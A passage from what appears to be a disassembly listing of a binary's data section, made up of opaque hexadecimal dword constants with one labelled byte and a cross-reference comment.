3BA50076h, 4C30D56Ch, 45245921h dd 0AC002842h, 8B5F60C4h, 28E47876h, 220CEABh, 258334F3h dd 8156DBCh, 0B000747Fh, 31442DC3h, 0F9E7A04Ch, 0BE489B0Dh dd 0BF551004h, 0E1517CC1h, 9C806832h, 3EE4673Fh, 0B5A12042h dd 5204A7Eh, 928D422Dh, 4C194078h, 8BE1887Eh, 4E827E9h dd 7DACF4E5h, 5710132Ah, 8D70838h, 0DBEBC66Ah, 204B14F9h dd 3167BB02h, 213EE011h, 51C0584Ch, 0EF762897h, 6068211Fh dd 0CDCF39Ch, 0FEA3E8FDh, 59A4088Fh, 29138A70h, 5180E076h dd 9E205CA0h, 5508F371h, 0F8E292D4h, 18758B8h, 0A53BF8B3h dd 5C291FE6h, 0E0D6AC0h, 8E0A1851h, 4FB4F160h, 0AB0202C0h dd 3EE9783Ah, 67C1B042h, 0F1F042F5h, 0B405E04h, 163027F1h dd 55430AC8h, 5480C82Dh, 0E858EC2Ch, 2B79CA70h, 0C54097AEh dd 9C202C88h, 0A357E27Fh, 0C0C48A40h, 18F1E85Bh, 9D952184h dd 9157C050h, 3E69C040h, 428509A6h, 6094B174h, 0B730641Eh dd 70CAC77Bh, 0C0DF5820h, 50673021h, 80A75AACh, 0D87CE401h dd 141FE6CEh, 0A020A5FCh, 772A4E5Eh, 0D8908F64h, 974F8F0h dd 0E4E97923h, 0DEC440D4h, 28EA4D51h, 7DFF99DCh, 0C5B42C8Ch dd 215B0428h, 655483DBh, 4650EEB8h, 97508BF9h, 502C0CC6h dd 18EF5C8Fh, 7B2091Eh, 0C7149834h, 1D70CCDCh, 0A04C8830h dd 3EDDCE8Ah, 506ED818h, 8FA0EEECh, 4208B53h, 8E2D8AB4h dd 8D58B92Ch, 0E91F0688h, 0C40E3D5h, 0DAD06688h, 5937FCA9h dd 18C131C1h, 1FF14F12h, 88F5D2E8h, 0E05D0CF0h, 86619C0h dd 6DD84C78h, 2A1A1F36h, 0D0F970CBh, 0D0B8A695h, 51002DF0h dd 0A83E7905h, 2406BF07h, 739D970h, 0F0BB2CE6h, 0D293C384h dd 0D6053D00h, 37DBCD6Bh, 88F15085h, 0F91C1499h, 420CB09Dh dd 4958AB09h, 869C8800h, 7870D9AEh, 700A5885h, 99294F3Ch dd 4C5D0EC8h, 979C181h, 92208E1Eh, 682C2C8Ah, 136047Fh dd 79DA2D0h, 0C04EBE1Eh, 820A314Fh, 45EE00A4h, 61EA34D3h dd 0DB030242h, 4E4DB3C7h, 26800A46h, 8BF0E821h, 7780AFB0h dd 66DF70D3h, 1C008CE6h, 446A832Ch, 16931F04h, 0B86395Fh dd 0B807C774h, 1537CCh, 6AB03562h, 5346E53Eh, 91F09A4h dd 5A4820E0h, 80B5295Ch, 35060EBh, 0DF00DCC0h, 0DD19C65Eh dd 0BE37410h, 188C1ACh, 22833F80h, 3D5C4D56h, 9931600Ch dd 5CDF2909h, 907CC8B5h, 255BF81Ch, 0A080A4E6h, 3D60F0B2h dd 655E31C7h, 5C93F6F4h, 0DFA120CBh, 0E014C712h, 0D27D3441h dd 0BC405528h, 28561FDBh, 6189E4C5h, 295479A9h, 7075F1E9h dd 0C5385EB4h, 4BEE852Dh, 0A82EE03Fh, 176621C1h, 38E0830Bh dd 6E6DB59h, 22D03580h, 0C2A1F9BDh, 0B41881E0h, 0DA425978h dd 0F932C898h, 4072A052h, 944A7000h, 0FE1C7E9Ah, 3BB112E5h dd 7330804Ch, 0B467939Eh, 0B20143E1h, 182074F7h, 0DA4B3E05h dd 71463D79h, 0F6A55F0Fh, 4461098Ch, 81DA4C32h, 70E0800Ch dd 99B9798h, 42B2A9B5h, 0A3888020h, 50A05F12h, 8E079272h dd 29691C94h, 64686CF0h, 214E63B4h, 80AC4D6Eh, 0ECC7D183h dd 59A0AC60h, 48F9E67h, 29D3FFF1h, 1FD092A3h, 90802444h dd 89282DE3h, 91703Eh, 0B9C82440h, 0C0E3146Dh, 0D140D39Fh dd 0D6490E69h, 43B2CD30h, 37F1780Ch, 8B9F64E0h, 0B4EDC70Ch dd 0DC9821h, 533C1362h, 95855D51h, 0F3E6890h, 2A75BD34h dd 0DEEC88DBh, 0B84DE806h, 9800A82h, 0C8BECCDCh, 0E9217000h dd 0E549D79Fh, 64992624h, 45AEBE8Fh, 801862D3h, 48DC0EE0h dd 0AC1FDCD8h, 0DB8AA6Ch, 145E911Eh, 60F0F358h, 0B492D2B7h dd 0B9FFDF00h, 0A9C686A6h, 331498DCh, 0A868AF9Fh, 6C791000h dd 0F96286DAh, 7E7F0D7h, 34250A59h, 0A73790CCh, 0AB489F66h dd 300B1D34h, 0B0E7CA00h, 0C9BFC1C3h, 4C058DF0h, 0EDBC4321h dd 3854F51Eh, 0CABB558h, 12A8FBB1h, 0F8C11809h, 0E6DD2084h dd 0BD795307h, 0C8C0F2A6h, 98916FE0h, 0A1163178h, 0EEB711A8h dd 4EC180A1h, 0ACA040A8h, 141462C5h, 49E92EB0h, 0A0342AF0h dd 6A848309h, 0AC988831h, 0CA5370Ah, 0A405EE08h, 0B1313128h dd 0C7E47082h, 2DCC5809h, 6158A1B9h, 504B4ADh, 9346584h dd 0F484DAD8h, 115340F0h, 90F17B5Ch, 248E5280h, 3726083h dd 43481862h, 1C8C2A4h, 0E6DC86A8h, 0F1A86610h, 30CA07E3h dd 1BA63B43h, 4976B178h, 64600482h, 21824BBCh, 0B2307E80h dd 8C68C912h, 0B300E1FDh, 0D5C2255Eh, 144C8B6Bh, 0A4DE2360h dd 4D89626h, 1FF2A59h, 0F8661DC4h, 3E01D438h, 67297F04h dd 7E243807h, 7CCC25h, 88DFD928h, 0E94D61CEh, 0ED847FF3h dd 613C487Ah, 4DBDA21h, 31E4752Fh, 0E0465AFAh, 0F1BC2379h dd 0A8BDCF04h, 18598C21h, 0F82D5839h, 7EA97962h, 422A1530h dd 841F23D6h, 2147C76Eh, 0E318FD10h, 8B59B21h, 8C84A5E0h dd 0B4E3C55Ch, 0FADB3162h, 0C3BE90A0h, 88A27249h, 0EEABEF8Fh dd 20F03B85h, 0A8B78F30h, 747D18A1h, 0F7001094h, 2906B098h dd 3DF41C9h, 451AFEF4h, 0A00E426h, 55D567A1h, 4AF720h dd 0A795A2FDh, 7BC7749Ch, 8305DF3Fh, 7E265F09h, 3767C03Eh dd 6B420156h, 0A60FD6C3h, 35B02F59h, 29D504AAh, 80DE5546h dd 1787D0EFh, 1F2F7A00h, 153C9ED7h, 0EC281482h, 17823CFFh dd 7C10C23Eh, 8784373h, 42316E62h, 0D7301F9Ah, 178CCh dd 92381E29h, 17B39EA3h, 5B289800h, 0A6A4AF0Dh, 21900E31h dd 0A720B14Ch, 0C5132D6h, 97508D78h, 0CFEF11D9h, 7BA96C00h dd 9F6E3AA0h, 3CF00FB3h, 0A4C04F29h, 0EBB0E8A2h, 47C82100h dd 821AA37Ch, 74650022h, 5A066156h, 871EE1E4h, 68010C80h dd 20DC31B8h, 11AD3C48h, 11B02256h, 98020A6Dh, 9676381Fh dd 0AB21703h, 8EEDC931h, 8910854h, 0F5F4E2C1h, 0DB443B08h dd 0DCC3003Fh, 0A3436F59h, 31C25FE5h, 119DC002h, 0D9840907h dd 2143B130h, 5B18420Dh, 22843B7Ah, 540A1FF8h, 0A8DD2AA2h dd 3105AE8Ch, 1C5921C3h, 57A8F410h, 5784D37Ah, 153CD83Ch dd 11B02591h, 86820B4Dh dd 1F10A47Ch, 342A8CD8h, 0B5236C1Dh, 0F1030449h, 0BB2C2219h dd 0A2E0EAD8h, 310A5D3Ch, 89FF192h, 10A8AE0Fh, 847C84F8h dd 37614025h, 2A990C0Dh, 103C8DEFh, 8A225745h, 0AE1FC89h dd 0CB08A3A5h, 12612FDh, 0E2A5422Ch, 3823D700h, 2C024982h dd 1D109322h, 0C9888DFDh, 38D3C747h, 441150EDh, 280E0AD9h dd 0C8487C9h, 8FC1F8AEh, 80D84CF3h, 0BD529CAEh, 8AD12360h dd 679C915Ah, 4ACFE8FBh, 0F965D838h, 57479C71h, 6D52B00Ch dd 0FAB5123Ch, 0B619831h, 96618218h, 22AB6C79h, 0E500C278h dd 0E6974618h, 0B298AF25h, 28085A30h, 0DFEDE138h, 0D44D0220h dd 0B840230Ch, 8B60AC76h, 0D027FB30h, 0A34207B5h, 48DA3122h dd 0CFDCFC02h, 8CC4853Bh, 16C2460h, 7530F1CCh, 49F96379h dd 30620B23h, 7A46D98h, 3C8FC3F4h, 61311914h, 0EBCF1058h dd 58F2EA18h, 6B380EA4h, 0E0D83C7Dh, 2251E510h, 0A04851E1h dd 541891h, 0A7C7F9B7h, 3E79A58Ah, 8F2644C8h, 6CE80894h dd 56299F03h, 0A0300717h, 0B1165832h, 4C1345B2h, 951F994h dd 0C87018B0h, 30CB6220h, 0EB308768h, 166332E0h, 10316181h dd 0CAEB290h, 2986DC73h, 24A0E070h, 3C383B64h, 54DDC589h dd 4665A407h, 91203846h, 3390A5h, 0EB698EA0h, 0A1CB6B2Eh dd 9CF76428h, 1741CF18h, 528C2238h, 7D15A8ADh, 0C384A456h dd 387B01FFh, 0F040C926h, 28F3E170h, 2141C57h, 0A2D444AFh dd 3040A974h, 8B2489E9h, 0F2005CB0h, 0D37E9229h, 0A0D0C1AFh dd 21066CCAh, 2293E4B0h, 8F1F9B0Dh, 8CEAE0F2h, 228C5068h dd 6F118DFDh, 0EE06AD93h, 29160C21h, 79753230h, 7CCC809Dh dd 0B3F71C4Ch, 64D9E68h, 11F6D6B4h, 1D0EFF0Ch, 1899F0A2h dd 0C85BEBE0h, 97C74F6h, 11B788C0h, 0F8555A25h, 383E0690h dd 0E8F9DBC3h, 52332302h, 0A0EB2F46h, 0B81ECCE8h, 305F50DCh dd 0E100F952h, 2F05C770h, 797A611Bh, 0BAD68045h, 8CB0B2C6h dd 0E23600E0h, 3F0D4A7Ah, 2C0C0913h, 919067C0h, 3B1642BFh dd 0DF8805D4h, 0C801C8DEh, 2193E0D6h, 0A07C688Ah, 5F800E0Ch dd 2DCCDC43h, 0F4ADA124h, 0A70A0590h, 0BC186E87h, 8359E902h dd 0B480A67Ah, 0D690EDDBh, 7FC2F704h, 0E4848F04h, 0DCA97881h dd 0FFAEC082h, 3844B4A5h, 22CBE018h, 4DDF5C88h, 540FC4FAh dd 4005DCBEh, 5B1401A2h, 0E1610BBCh, 0C88809D8h, 7A0920BFh dd 0BC80234Eh, 299990D3h, 409F6167h, 0F1285758h, 8C843037h dd 918D3230h, 0D5682217h, 0A4014C19h, 0A2F7EFCFh, 11C1FF55h dd 0F3E7EFFBh, 2804B0D5h, 826DBFF2h, 0CC75A890h, 2C82821Ah dd 5500D929h, 20623092h, 712C9F69h, 188FF813h, 20AC4BF2h dd 0A521E984h, 28A0A85Eh, 9C4E3160h, 452AD691h, 11740528h dd 9EA8038Ch, 0A5D1EE12h, 80288226h, 82906C71h, 406FCC60h dd 4894BB50h, 320BE8EDh, 20054F39h, 7023C3EBh, 37D43800h dd 0CD1AE849h, 28E892A1h, 22CC526h, 0FFAF690Eh, 0D8A08FD8h dd 9F313F8Bh, 181C0A32h, 6DD0A323h, 784150ACh, 2453529Fh dd 60517409h, 0E1CB4C02h, 4829CCC2h, 3B19B082h, 1904CCA9h dd 219C907Dh, 880110B7h, 0E139B4D6h, 3057E42Ch, 1EB67D3h dd 7EBDE5F1h, 501B2C97h, 8CE97A08h, 0BF3AB812h, 4481C13h dd 0A1A78F03h, 0E84CF0F4h, 0AEBC0926h, 23811374h, 2591CAD4h dd 653C3454h, 0DC1EA706h, 26F937A5h, 0C621699h, 7D11A85Ch dd 2290254Ch, 0D27F00ABh, 958B88B4h, 80BFB001h, 122210FDh dd 98730DF2h, 40C9F129h, 4C201C94h, 82348284h, 13BED2E8h dd 0D6A86FC0h, 0CB833891h, 91D7A5E9h, 8278DDBh, 1E7416h dd 70D3F248h, 0D0B8E35Fh, 0B2A10F09h, 0F67C002Eh, 0E8308FA6h dd 589E48DCh, 5521108h, 40042713h, 1705A371h, 0E2C009Eh dd 0DC59A5CCh, 4CCC2A48h, 0C09F2CE4h, 0A809458Ah, 2021F424h dd 0D4F5EB07h, 0FDE9588Eh, 6216016Bh, 325BC003h, 81C424DEh dd 2B842460h, 54312939h, 9E4A892h, 0AC71A270h, 0E9A4C82h dd 0A1A97601h, 0FFAA1040h, 881B12CAh, 0A560040Ch, 8F544F8Ah dd 0AED80501h, 0C919881Eh, 3CE3AA10h, 7306FF21h, 10F57DB1h dd 0DF70F678h, 3E31A660h, 44E173DBh, 21555A1h, 78B070DFh dd 2850C865h, 29E0801h, 28400973h, 6FDFFFB5h, 0A4AC8198h dd 47243DD9h, 3E088031h, 0A5B601E4h, 60AC5D75h, 1B06E174h dd 0A252DA29h, 0B1EA0930h, 880BA39h, 8AEB15D6h, 491A8916h dd 8146E80Ch, 77DE00C1h, 2834B423h, 86003B6Ah, 0A26741E2h dd 0BF2AC44Dh, 0B49467F0h, 6C055D16h, 40C13976h, 0E200F964h dd 925DEEA7h, 6CF702F4h, 40B2A53Ah, 80A28618h, 0CB12F9BAh dd 50005C79h, 94A85D95h, 7C6F5CA0h, 0AA7C5124h, 7C30FD58h dd 0ECE35021h, 22A18898h, 424C426h, 7757E902h, 0A261E0F1h dd 0D635B0C5h, 9A9C02E8h, 0C8405F0Fh, 6718B794h, 0A7B175D2h dd 447980E5h, 0C80971D2h, 5E3423D8h, 68400811h, 568158D9h dd 20299ED7h, 4D74A474h, 0D300205Bh, 0AE4C8865h, 0D64840E4h dd 6E5EC058h, 86F0C24h, 56BFAD50h, 15CB269Ch, 5804021Eh dd 35CC40Fh, 0C2D4FF51h, 0F81F8479h, 0B3006E86h, 833356D9h dd 0EEA80E22h, 7306610Ch, 517C3941h, 0D091818h, 0C3550E18h dd 0F5BDAB99h, 0F4E80813h, 0C0802824h, 62548866h, 60D02917h dd 5906140Ah, 29879A0h, 759D2BF2h, 0FCE0535Fh, 41C6A9A5h dd 22107754h, 983CA84Dh, 0A21D11DBh, 0FDE3AA51h, 18041808h dd 0E4AB1196h, 0D177A0Fh, 9775432Fh, 3122983Ah, 0D4905D3Fh dd 0CCA52E00h, 0A70BA3B3h, 30594524h, 0FC387B98h, 35FA068Ah dd 19E43926h, 990C9713h, 60CA3400h, 90688C7Ah, 0A022186Ch dd 0F172189Fh, 8B48B890h, 856D88A8h, 874C292Fh, 4C8847BFh dd 0B65D2C38h, 2E820090h, 0EF7D0A26h, 7D40CACh, 5B9C2FDh dd 0DDA2115h, 1FB16A0h, 0A2C01C06h, 257B4011h, 808DA144h dd 0E440FE90h, 0BC8C8195h, 109C3389h, 0C8210302h, 82C3041Dh dd 6435A7B9h, 0A4A8B13Ch, 2300A3D6h, 7E22062Eh, 50E13779h dd 72AFA095h, 6532259Ah, 0D1EBE400h, 0D6804AC9h, 0E3260009h dd 0FD991C5Ah, 922C0AA5h, 0A647647Eh, 37229601h, 736A053h dd 0D1B39B30h, 9DB61048h, 0DCB27153h, 0D7345001h, 0D65C88B5h dd 0B0804828h, 76996406h, 25206548h, 0E7988515h, 100D644Fh dd 0FEE3E10Fh, 0AC2239C0h, 88943765h, 4C84A340h, 11CE6077h dd 6725EC24h, 2D6B4A12h, 0C405385Fh, 782DAD4Bh, 0FC619430h db 0C7h byte_4E0049 db 3Ah, 0E7h, 83h ; DATA XREF: ___:0042CC94o dd 822C4003h, 5CC8803Dh, 151BEA33h, 0B41096F4h, 0A2BECB00h dd 2E3EA595h, 2DA00099h, 0FA755218h, 0A1663098h, 0AF8FB130h dd 21C78800h, 1CC5BD4Ah, 8101F9F3h, 0B7A2D0F0h, 0BE7411C0h dd 0CEA5B95h, 0FFB06319h, 0BFF0F718h, 0D024700h, 2E542A3Ch dd 9C370144h, 0DDDF16BEh, 48C00413h, 0C0E6240Ah, 0AF8E4178h dd 89DE64B4h, 18AB3801h, 40E2AE9Eh, 0FA419DCh, 8F7FB35Ch dd 0AF6B1C80h, 6377AB3Ch, 8040083Fh, 0B526680h, 6B397FDh dd 69918A16h, 0C71FE8E7h, 6B1181BAh, 0FB82E902h, 437DE30Fh dd 0C1110A68h, 38728Dh, 0A7B25B9Ah, 40055018h, 0EA5FFB61h dd 0F41C0Eh, 2DA2C74Ah, 938114ACh, 3FC8A82Ch, 0C7577B60h dd 0BCE6299Ch, 0E79FE78Ch, 0C059426Fh, 0D28CE891h, 86FF7E30h dd 0FBE4BE18h, 378E4510h, 0B048CE6Bh, 605663BFh, 688A3E01h dd 5EA23BABh, 5015D850h, 18E62A46h, 0E710A8C0h, 8071526Bh dd 88F10D22h, 46C70890h, 0F7047134h, 8AD28466h, 165A4F03h dd 0F99C5007h, 9A170CDFh, 92B95080h, 0C8A263h, 0A6D3E1B0h dd 1C5E0BCh, 9382FF9Bh, 43464BF4h, 91038B58h, 4E332157h dd 838E8B7Fh, 9C5E8081h, 97F403A0h, 648CCC63h, 8B161100h dd 2F0BC93h, 0E090AB6Bh, 3C48EE19h, 0A8D0BA66h, 0AC681239h dd 130002CEh, 8440BD27h, 5D063EABh, 93BEC228h, 0BFF41D38h dd 32894076h, 387F731Ch, 5BCE952h, 0C9D7EB9Fh, 9A200800h dd 1B530DA2h, 4095793Dh, 3370D1E0h, 0A1EB1818h, 1F6B170h dd 0E76835CBh, 22C05501h, 7B800544h, 84009521h, 3D7FDAEFh dd 0BE50005Eh, 9EB445E8h, 5B3C4665h, 82F600B1h, 8C4E035Dh dd 0DCE300C0h, 80318104h, 9B007707h, 0E56059F8h, 189E0B38h dd 484CEE67h, 0C71E07E4h, 0D00ECE3h, 2D0C5925h, 656C079Eh dd 63169804h, 0DDC18801h, 0FC80F5FBh, 0EE0CE12Bh, 66E7D4Fh dd 52143805h, 48A37B19h, 905AE1BEh, 4B885B10h, 130453E4h dd 38C200EDh, 0B82750h, 0E8052060h, 0A0DC6ECh, 8409FE0Ch dd 36639AAh, 571BA82Fh, 0C841733Fh, 0C7C883AFh, 7B17C1B4h dd 8E743C51h, 9739B730h, 28C34F9Fh, 18BF0917h, 8040F60h dd 0E350C34Ch, 0F19314h, 61AC1Dh, 0BAFB9A2Ah, 9EA712A2h dd 21EF2230h, 2F0F37h, 0F0E6E9B3h, 63D1AC57h, 2CCB0A1h dd 12D4A073h, 3C8618h, 0D393D01Ch, 0E90B8C89h, 87E270C3h dd 78DEC388h, 10456489h, 0B4D72746h, 0E5230E84h, 11B64031h dd 2BE45A64h, 5B67319Ch, 95C138E1h, 788C3380h, 6A10EC66h dd 9B4E0191h, 7389E9D2h, 60F9829Ch, 0E02B8AA5h, 2A0A8C7Ah dd 2988E57Bh, 9816A0h, 8BCE347Fh, 2B0005A4h, 0EF23C206h dd 0E48D59EEh, 623F00ACh, 84833CA5h, 5ECEC5Ah, 0B212C000h dd 4CA62A8Bh, 0ED9D07E3h, 45CA9ABh, 0C726871Fh, 209C0518h dd 3585D50Ch, 0B027072Ah, 1F9C3C3Bh, 0D806BF46h, 2180D565h dd 890E22BDh, 84009280h, 4AAC136Dh, 0BFF206B6h, 0C1A860B9h dd 1B848B08h, 0FCE90EC8h, 806804E4h, 0F9E74018h, 9B88FFCh dd 32CEE600h, 0A2A82C3Eh, 4C769Bh, 762ECE7h, 2938C3E9h dd 1759B0C3h, 50C80ABh, 90CCF010h, 50720328h, 1FDD92B1h dd 7BF84006h, 7C84794h, 0DFE931Ch, 773AC0F7h, 70C7280Ah dd 0EB61B267h, 0E0210475h, 7313DC5h, 0F8048444h, 4C809E4Ah dd 7FCF1EEh, 0B5AF4664h, 0F9E8A073h, 5FE1F59h, 58E1A831h dd 1C104F0Fh, 0FD605F23h, 2AC03418h, 1B5F886h, 82A02FA4h dd 50F4478Ch, 0F36F36E8h, 74EEE700h, 757B7151h, 0AFF80502h dd 800FA906h, 0A11B5F4Dh, 0B1200B03h, 3CFB667h, 118C8380h dd 4811FEB4h, 8B064ADEh, 18B7D11Ch, 504C32FBh, 930A33ACh dd 84E0659Fh, 0BE301388h, 0F70E1E48h, 0D74F4E0Eh, 8FE75F40h dd 65191826h, 99F8A7E3h, 115310Dh, 825157Ch, 8CA443DBh dd 3095B0F0h, 67F9E715h, 2380E99Fh, 0F63010C2h, 47DB801h dd 0ECAB1CC7h, 4C6C80FBh, 4090F0F7h, 0EAFDE700h, 87CCBFE6h dd 25FA043Fh, 80B877AFh, 22634C24h, 0AAA82419h, 91FC67B8h dd 0FE3C90EDh, 2B980E65h, 7242DAh, 97D89320h, 78536273h dd 99C68420h, 0CDA91000h, 0E038BDE1h, 897A0078h, 0A53D9A7Eh dd 0E9950E44h, 91A0FEB8h, 0EB464F9Eh, 0E6BF5300h, 5B668880h dd 0F11200C7h, 0AD9EF692h, 0A51DDAB5h, 2E22B021h, 1F013BBh dd 3820CD69h, 0C6E6F061h, 5CC4832Eh, 28441030h, 0E4FB0090h dd 6FAFA4A6h, 0E102BFC5h, 0DC1FCB49h, 9079E0B4h, 3FBE3CF2h dd 4E6CBC0Eh, 0BD1B80FFh, 4929C7ABh, 8327A839h, 9545DE40h dd 73690460h, 4046BD2Bh, 0C36AE596h, 288D00CFh, 0CD451D3Eh dd 0AD38F6C4h, 2D161D9Dh, 0A46E4987h, 53BF13h, 425D9C39h dd 0E38898A3h, 0AA379400h, 1862B316h, 1DC17CD9h, 302DDF5Fh dd 1E29BA78h, 0E0800451h, 0D800ACBDh, 53354EDBh, 244346h dd 25B11FF6h, 0C4668A79h, 74DEF03Eh, 0A56FA200h, 0CCA149ACh dd 0FA460078h, 813E27F8h, 201F723Fh, 0B780A075h, 0D2D89945h dd 0AF6B005Ch, 40C325B6h, 63008DBBh, 41595536h, 7910389h dd 0ED9B5E23h, 0E3BB043h, 5A78FFCDh, 0FB28B41Ch, 0F9B3CA80h dd 0F62B6FE7h, 0C58B2E89h, 0A5540001h, 92156AF0h, 0A3F88600h dd 477BAAAh, 5ED113CAh, 0F59A001Bh, 0F336C07Eh, 760C5800h dd 0A6255DF7h, 0F98A1FB8h, 620A0164h, 0D41E7789h, 2003FE58h dd 74AFD9E1h, 0A33E8049h, 6F8C00FDh, 15F3F8BFh, 911D907Ch dd 520FE477h, 0E31B8056h, 27AD43h, 5336194h, 310F9CCFh dd 0F110E901h, 4437EC1Ch, 7D3AACC0h, 74690EA5h, 40004DDCh dd 0C545481Bh, 5C75500h, 718C4434h, 53C9006Ch, 0E1BD1467h dd 0C300DC8Bh, 0CD98ACD9h, 0A7C8Fh, 0F06D6F6Ah, 0CC2BA18h dd 0AA7158h, 2C8B190Dh, 0C068CD57h, 95D85D20h, 0C5003C3Dh dd 4E82A8E8h, 52520h, 0BFF615DBh, 5857F2D1h, 0A58CFF00h dd 2AD74639h, 0D97DD3h, 3AF947DEh, 0F44B30CDh, 6E73DF00h dd 701CCFC8h, 94230379h, 8ABA2051h, 0A6F707C8h, 9AB6D000h dd 0DC29D7C0h, 1D4D3781h, 0A8DDA070h, 0C2002C10h, 0DA6B3FFDh dd 416894h, 0EB227DEFh, 0F3D5A99Dh, 45C7E7Fh, 0FD7712AAh dd 7C3D4F1Ch, 0CBEF780Eh, 0CC8620D9h, 5CBD5375h, 85004F6Ah dd 0DA0C672Dh, 970281EDh, 0EF55CF5Dh, 0F514412Fh, 4092C042h dd 59D536h, 0F4BA262Dh, 0A6EB733Ch, 3600F875h, 5C6B1B32h dd 0BE2A22h, 973E5B90h, 28B235AAh, 5F85E105h, 0AC407D55h dd 87532AAEh, 33100DFh, 21A73677h, 9300626Ch, 6AF2A8ECh dd 4CE566FEh, 147CD2B0h, 842D3D8Dh, 94FF903h, 0A5F080F1h dd 13706FEEh, 86CFF33Ch, 482D6AE8h, 24AF64Ch, 0D47B40B7h dd 9EE0E14Bh, 0E90085BAh, 76CC0A41h, 801C84h, 8C3D70BCh dd 2C350326h, 9E8B9400h, 0CA9A5EAFh, 0A178A8h, 0FF540BEAh dd 0E1392B6Eh, 0B0C9DF0Eh, 0B9BCE0CFh, 1EAB4051h, 1CA8A6FDh dd 4617C5E9h, 0C9DC00B7h, 0A336DA88h, 809DBE3Ch, 0D186DEE5h dd 0F41430h, 0B3267FB9h, 0CA28F92h, 0C4498B00h, 8CD9C940h dd 1EE558CDh, 4F3E8000h, 0B4F76E34h, 0D7982907h, 2E13058h dd 3180C0BDh, 2D067A33h, 0F700E855h, 94202CB7h, 120EC623h dd 832951h, 0D12521DDh, 0DA242D03h, 0FFE1B012h, 0F07E60DCh dd 611D8224h, 0C343BAE2h, 0C8586A25h, 38A8A0C8h, 0AE805729h dd 2F057091h, 881F16DAh, 0D556EF42h, 23D3B400h, 0FE088D52h dd 0EFF0078h, 0DDDD201h dd 0B11EEF95h, 2BC0B902h, 1DEAC459h, 5D930082h, 2DE141D7h dd 8000A053h, 6B988947h, 0E63C95Bh, 7F9DCBCFh, 21C0DD47h dd 0E0FA70A0h, 1B052984h, 596BFBF2h, 4C7CBF00h, 1DF0BD94h dd 0C1AE7449h, 469F33Dh, 7C87C876h, 97801400h, 0B9367113h dd 0CC9900C5h, 0CB644D88h, 0C3009A02h, 57C69232h, 0A4DA84h dd 4A78DB0Fh, 4DB26259h, 2329D400h, 80D26417h, 35DE0010h dd 525EC5F7h, 0BD001683h, 42871509h, 0DAF6E4h, 0C8443EBFh dd 1B8DA78Ch, 0A3FE3600h, 0FA5B4EF5h, 5846007Bh, 1F1F71Eh dd 49186467h, 7988053Eh, 2EB891h, 0A5D32FFEh, 3CE09C71h dd 1E09D97Fh, 8004C841h, 0F2603122h, 0BA8A246Dh, 5A6A0360h dd 0D6003D98h, 0E50E1D0Bh, 7E467Dh, 8078408Ah, 106F2753h dd 942FB100h, 0EC1BABDFh, 7880E14Bh, 48F3D0C9h, 3BB87C39h dd 0F9A0EF01h, 0EABE250Fh, 741840C6h, 277200A2h, 0AB17A4A9h dd 9C2CC424h, 300522BFh, 0DD80D6DBh, 0EEE62Eh, 0CFEF2559h dd 0FE457CFCh, 0B20BC00h, 194E35BAh, 0C744009Ah, 8EBB617Bh dd 0B824D94Bh, 0DE00A1DDh, 0FE138541h, 8C9A0338h, 8EE9FBF6h dd 592592D8h, 0E5D60900h, 4B13C910h, 3387F53h, 1FCE3D6Ch dd 0F1F74D5Bh, 0E07162C5h, 16005497h, 5E9398F8h, 0B0144F43h dd 0F4691EA0h, 0E0C800AAh, 0B6CEDB20h, 109A8798h, 76E738h dd 0B791F3DEh, 0B4AD9B2h, 0F55ACA84h, 0A250F300h, 0A6030946h dd 0CEA2C17h, 7EFCA86Dh, 3544004Fh, 4D673EFDh, 9B6061C1h dd 0E0922384h, 711A0001h, 1F19DD20h, 1100FE35h, 0F26E8977h dd 98F67617h, 6324005Eh, 2373DCE7h, 0AB035678h, 40B0BDC6h dd 0F93903D7h, 50467627h, 7BB55800h, 0CBF17F2Bh, 5D1C0FBBh dd 11000169h, 29F27A3Ch, 7C338700h, 0F0DDCCEBh, 0C7E6015Bh dd 0C549180Fh, 0D3D8F7DCh, 0D1001364h, 2932FB46h, 9CA64Fh dd 8A4C243Dh, 14D0CCBCh, 39F82600h, 47886962h, 447700FDh dd 53DC6625h, 1CF60A5Ah, 0A01EADA0h, 0EC641800h, 3654F722h dd 0D30F3EEDh, 72E50784h, 0F030D0BBh, 4E00E959h, 98ABA545h dd 1F8E76F3h, 408B6A9Fh, 0D123E032h, 6C01DE9Eh, 26D7242Dh dd 84C01845h, 427FC4h, 96B32F15h, 3C1640B1h, 7CB7A600h dd 0ACAE86ADh, 68996108h, 0C064BFBAh, 7424FA82h, 5400B4DBh dd 307E5931h, 0BC9202h, 1587257Ch, 9613E74Eh, 0A6BCC94Bh dd 2C88ED00h, 0B139B802h, 68F23800h, 76F63797h, 7DF30F96h dd 0BE80CDAFh, 817C06B4h, 12C5F100h, 63A81AE4h, 68763899h dd 0A9E2E500h, 60D1F4F6h, 0CC480C00h, 8AC2F8C5h, 0C153004Eh dd 2772859h, 5F00319Dh, 206B05D4h, 66F121h, 87B6CA78h dd 0A548A40Ah, 7D3460EDh, 779620C0h, 0A8B90124h, 0D23CACh dd 850D7EB7h, 13AC5F61h, 0EDE68000h, 0C7BBEF7Ah, 70FE60CBh dd 4C5C38B9h, 0FF7CAF0Fh, 85B2E004h, 243D61CAh, 3AF9F63h dd 0EB663AAAh, 9D83D0D0h, 1B554203h, 0B8034F27h, 0A83FEAh dd 0FD13484Bh, 0CE68F089h, 0FA651000h, 32D73037h, 0ED41007Dh dd 2C8A9D6h, 0EE503631h, 0C20077A8h, 0B0C342D5h, 71DD77Fh dd 6B93F4A6h, 0E62C24Ah, 95CCE080h, 0C8001F25h, 68E80929h dd 1EFADB49h, 80CF582Ch, 4CAF0F71h, 3C00F12Ah, 9D723001h dd 0DC8DA3h, 0C49537F3h, 97CE3F61h, 96404600h, 35235738h dd 21D0136h, 0B2D0F74Fh, 1B070FEh, 0D2249E00h, 2292CD93h dd 8CC0F5A1h, 117D03EDh, 6E1306F9h, 955292A7h, 5440BE8Fh dd 4C622F0Bh, 0C7189F09h, 0B715808Ah, 1C35B586h, 4EA84424h dd 320C138h, 21848C11h, 0F1F8F500h, 0B2465EC8h, 0F2800144h dd 0CA0F8F4Eh, 27B3E4D9h, 32697E18h, 8C5C10h, 904DD474h dd 1B067743h, 0F2263801h, 0F04F1A2Eh, 4AC3E4h, 2191340Ch dd 9202E01Dh, 6D30B404h, 2EC0F7CAh, 0FCE859CCh, 95D00E65h dd 35C0F574h, 0C896FF44h, 60224200h, 0A18A812Fh, 3C8C902Ch dd 780CB1Bh, 866B84EEh, 0B002F748h, 8CAFA3D6h, 0C898605Bh dd 9A6F3FF5h, 8E717981h, 7415AE18h, 9175E350h, 88286560h dd 0C3E08B4h, 5FA47F78h, 731F2A20h, 0E2C2703Dh, 